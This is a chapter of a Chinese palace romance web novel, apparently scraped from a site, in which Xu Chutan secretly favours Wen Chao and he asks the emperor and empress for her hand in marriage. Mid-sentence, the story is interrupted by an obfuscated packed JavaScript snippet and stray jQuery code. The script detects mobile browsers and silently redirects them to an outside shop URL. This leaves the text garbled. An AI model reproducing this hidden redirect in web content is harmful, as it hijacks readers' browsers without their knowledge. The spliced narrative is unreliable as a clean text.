4. 两相赴
    日头西斜,乐曲唱罢,热闹了几个时辰的赏荷宴结束了。

    徐皇后欲邀请徐初檀与闻朝一道去凤安宫里叙旧,但刚做了好事的徐初檀哪敢再去叙旧?

    “姑母,檀儿有些乏了,就不叨扰您了!”徐初檀掩饰心虚,抱着徐皇后的胳膊好一阵撒娇。

    徐皇后只当徐初檀是没瞧上闻朝,她也不强求,“那檀儿改日再来找姑母玩!”

    徐初檀眉开眼笑,“谢谢姑母!”

    目送徐初檀离开后,徐皇后看向站在一旁的闻朝,她上下打量了英姿神武的闻朝一番,暗想闻朝算是京城子弟中的翘楚,相貌、能力没一样是差的,只可惜自家侄女没瞧上他。

    “既然檀儿不留下,那你也就先回去吧。”

    闻朝本想应好,但想起徐初檀塞给他的丝帕,便又犹豫了。

    瞧出闻朝的不对劲,徐皇后耐心问道:“有事同舅母说吗?”

    既然徐皇后都问出口了,闻朝便顺水推舟,他作揖,“的确有一事……想请舅舅舅母替晚辈拿拿主意。”

    ——

    徐初檀头也不敢回地逃离了宴场,直至上了国舅府的马车,她才堪堪松了一口气。

    “方才那事儿你俩可不要告诉爹娘他们!”

    一出宫门,惴惴不安的徐初檀掀开窗幔,再次敲打两个跟在车外的丫头。

    翠露丹霜忙向徐初檀发誓不会泄漏此事。

    徐初檀这才放心地坐回去,不出一会儿,徐初檀又撩开窗幔,眉眼弯弯道:“这事要是成了,一人赏十两银子!”

    翠露嘴甜道:“咱们姑娘风姿过人,世子定会倾心于姑娘的!”

    翠露的马屁算是拍对了,徐初檀心满意足地坐回车里,手里的团扇有一搭没一搭地扇着,心情很是愉悦!

    ……

    与此同时,得知外甥求见的顺安帝放下了手头堆叠成山的折子,乘辇赶到凤安宫去。

    徐皇后正在主殿中招待闻朝喝茶。

    顺安帝还比徐皇后小三岁,但积年累月的劳累让四十出头的顺安帝鬓发间冒出几根白发,眼角沟壑深沉,瞧起来竟比保养得当的徐皇后还大上几岁。

    顺安帝风风火火地走入凤安宫后,徐皇后与闻朝立即起身相迎问好。

    “都坐都坐!”顺安帝搭上徐皇后递来的手,顺势一登,在徐皇后身边坐下了。

    就座之后,徐皇后为顺安帝送上一杯茶,正口干舌燥的顺安帝仰头一闷。

    “皇后真贴心!”顺安帝牵着徐皇后的手不肯松开。

    徐皇后亦是笑着望着顺安帝。

    帝后恩爱,那是全天下都知道的事情。

    “阿朝可是有事要和舅舅商量?”

    “是。”

    闻朝当即起身,走至正中,郑重地跪下向帝后二人行叩首礼。

    见此,帝后疑惑相视,不解闻朝此举为的是哪般。

    “晚辈想求娶国舅千金徐姑娘,还请舅舅舅母做主。”

    闻朝朝帝后郑重一拜。

    顺安帝下意识看向身边的徐皇后,徐皇后轻轻摇了摇头,表示自己什么都不清楚。

    “你求朕有什么用?人家檀儿瞧上你了吗?”

    徐皇后心里亦是同样的想法。

    虽说帝后想撮合闻朝与徐初檀,但他们潜意识中并不对这桩牵线抱有多大希望。

    于是,在帝后的注视下,闻朝从衣襟中抽出徐初檀塞给他的那块莲青色手帕,双手呈上。

    “这是徐姑娘赠予晚辈的,想必是晚辈得了徐姑娘的青眼。”

    徐皇后对身边的林姑姑使了个眼色,林姑姑便上前去将闻朝手中的丝帕呈与帝后看。

    徐皇后将那块丝帕翻来覆去地察看了一番,“陛下,这似乎真的是檀儿早上带的那一块!”

    顺安帝当即仰头大笑,身为闻朝的舅舅,他由衷地为闻朝开心。

    “咱们阿朝有福喽!”

    闻朝有些不好意思,却还是装得镇定自若,“既然舅舅舅妈赞成,那还请舅舅拟一道圣旨为吾二人赐婚。”

    顺安帝“嘶”了一声,有些迟疑,“赐婚的事情过后再说……国舅可不是个善茬,你还是先去国舅府走一遭征得国舅同意,舅舅才能为你下赐婚圣旨。”

    纵然天家赐婚一锤定音,但在民间,有父母之命媒妁之言的婚姻才算完满。

    “晚辈不日便会上门求亲。”

    顺安帝笑着捋了捋胡须,“如果有什么不懂的随时入宫问你舅母!”

    “届时便叨扰舅母了。”

    徐皇后和善地笑了笑。

    ……

    与帝后通过气后,闻朝也不打算久留,行礼过后便离开了凤安宫。

    有些话,闻朝在的时候徐皇后不便明说,但夫妻独处时便能敞开天窗说亮话了。

    徐皇后无奈至极地盯着因为心情极佳而低声哼曲的顺安帝,而后依偎在他怀中,道:“陛下,还不到哼曲的时候呢!”

    顺安帝口中的小曲戛然而止,他搂着温柔如水的妻子亲两口后,笑问,“怎么不是时候?”

    “阿朝那后母恨不能在阿朝的婚事上横插一脚,为防她煽动威宁侯生事,陛下可要早作打算,省得闹出了什么岔子,叫人看了笑话!”

    徐皇后一提,顺安帝才想起了拎不清的威宁侯和他那心比天高的继室,这两口子就没一个是省油的灯!

    若非顾及外甥的面子,顺安帝早八百年就对威宁侯和他那续弦翻脸了。

    顺安帝拍了拍徐皇后的手背,语重心长道:“阿朝是朕最亲近的外甥,檀儿也是皇后最疼爱的侄女,他俩的婚事由朕保驾护航,朕绝不会让他们的婚事出半点差池!”

    有了顺安帝的承诺,徐皇后心安了不少。

    ——

    那一边,徐初檀与翠露丹霜归家,头一件事便是去向李氏请安。

    李氏掐好女儿归家的时间,早早守在小堂中等着。

    还不等外头的老嬷嬷过来通传,李氏一听见一阵儿轻快的脚步声便知道徐初檀回来了。

    果真,徐初檀从屏风后钻了出来,跟在她身后的翠露丹霜手里也不空着,两人手里提溜着的油纸包散发着糕点的甜腻像味儿。

    李氏嗔怪道:“都是大姑娘了,去做客还连吃带拿的!”

    徐初檀嘴一撅,她重重哼了一声,“才没有呢!这都是街上买的!”

    李氏仔细一瞧,那油纸包果真不像是宫里的东西。

    “是娘错怪檀儿了!”

    徐初檀大度得很,“我原谅娘了!”

    李氏拉着徐初檀坐下,关切问道:“都有心思买糕点,可是在赏荷宴上玩得开心?”

    徐初檀不假思索地讲所见所闻一一道出,“这赏荷宴确实是有趣,姑母那儿的荷塘一望无际,瞧着就凉快!还有乘舟献艺的乐坊歌姬,不仅歌唱得好听,人也长得漂亮!”

    李氏一听就知道徐初檀在敷衍自己,“檀儿知道娘不想听这个。”

    毕竟徐初檀还没得到闻朝的准确答复,是以她看中闻朝这件事情还是得暂时保密。

    再者,她是个姑娘家,若是让人知道是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354128|140648||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    她先向闻朝示的好,那还了得!

    徐初檀眨了眨眼,有所省略道:“六七个臭男人喝大了就开始偷瞄歌姬,倒是有一个一直盯我的,不过那人的眼神实在叫我恶心难受,我不喜欢他。”

    且不说是否为人夫,但真正的君子是行坐端正,非礼不视的,偷瞄或者肆意打量皆非君子之为,此类人若为夫婿,绝非上选。

    “也包括那个威宁侯世子吗?”

    “他倒不会四处乱看……就是这人就是一块不爱说话的冰疙瘩,夏日与他呆在一块儿,能省不少冰呢!”

    李氏噗嗤一笑,“不中意便罢,往后再相看也还来得及。”

    徐初檀笑意盈盈地随口应着,见李氏相信了,她心里头美滋滋的。

    眼下,只需等待闻朝作出回应。

    ——

    昼更夜迭,转眼间三日过去。

    徐初檀没日没夜地等着闻朝的音信,奈何半点风声也无。

    临睡前,愁眉不展的徐初檀拉着翠露丹霜在榻边说了许久的话。

    “你们说……世子他怎么还不来求亲?”披头散发的徐初檀趴在软枕上低喃,虽瞧不清楚她的神情,但听她的语气也知她的心情好不到哪去。

    翠露丹霜心里也没底,但以她们对徐初檀的了解,此时是说不得半点不中她意的话。

    丹霜拉了拉善言的翠露,示意翠露说话。

    翠露稍沉吟,道:“世子有差事在身,又是军功傍身的新贵,指不定是公务与应酬缠身没法来找姑娘吧!”

    闻言,徐初檀微微偏头,露出半张被闷红的小脸,她幽怨道:“公务与应酬怎会不为终身大事让道?”

    两侍女被堵得无言。

    “又或是人家对我没意思?”

    情窦初开的少女豁出面子向中意的人送出信物却没得到回应,这如何看都十分残忍。

    翠露忙取来床头的小扇为徐初檀扇风,“如姑娘所说,婚姻大事要紧……指不定世子正在筹备说亲的东西呢!”

    “当真?”似乎是温和扇风与翠露的话起了作用,徐初檀心里的烦躁被稍稍抚平了。

    “不如姑娘先睡下,说不定明早就能听到好消息!”丹霜瞧出徐初檀心情转好,忙去拖来拨步床外的冰盏放置在榻边。

    两个侍女你一言我一语哄着,徐初檀揣着满腹令人抓心挠肺的猜疑慢慢睡下。

    ……

    徐家对待女儿并不算严格,徐初檀平日里也不必早起请安。

    就在徐初檀还蒙在被子里呼呼大睡时,有人带着成箱的金银珠宝上门拜访。

    “国舅爷!国舅爷!有媒人上门说亲了!”

    大老远的,站在花园里描物作画的徐淮就听见小厮在嚷嚷。

    待小厮跑到跟前,徐淮只是平平淡淡地抬眼瞧了眼他,“慌什么?上门说亲的媒人没有十个也有八个,又不是什么大事。”

    那小厮喘得上气不接下气,还是从喉咙缝里挤出一句话,“媒婆……后头……还跟着一个公子!”

    若只有媒婆来徐淮可以不当一回事,但是媒婆还带了个公子过来,徐淮便不能再将这事儿当小事对待。

    “这样……我先去前头看看,你快些去喊夫人与檀儿!”

    说罢,徐淮丢下手中画笔匆匆离去。

    ……

    那小厮以此生最快的速度奔向了徐初檀的院子。

    “姑娘!有公子上门向您提亲了!”

    睡梦中的徐初檀似乎是有所感,还没等翠露丹霜冲进来,她便一骨碌地从床上爬了起来。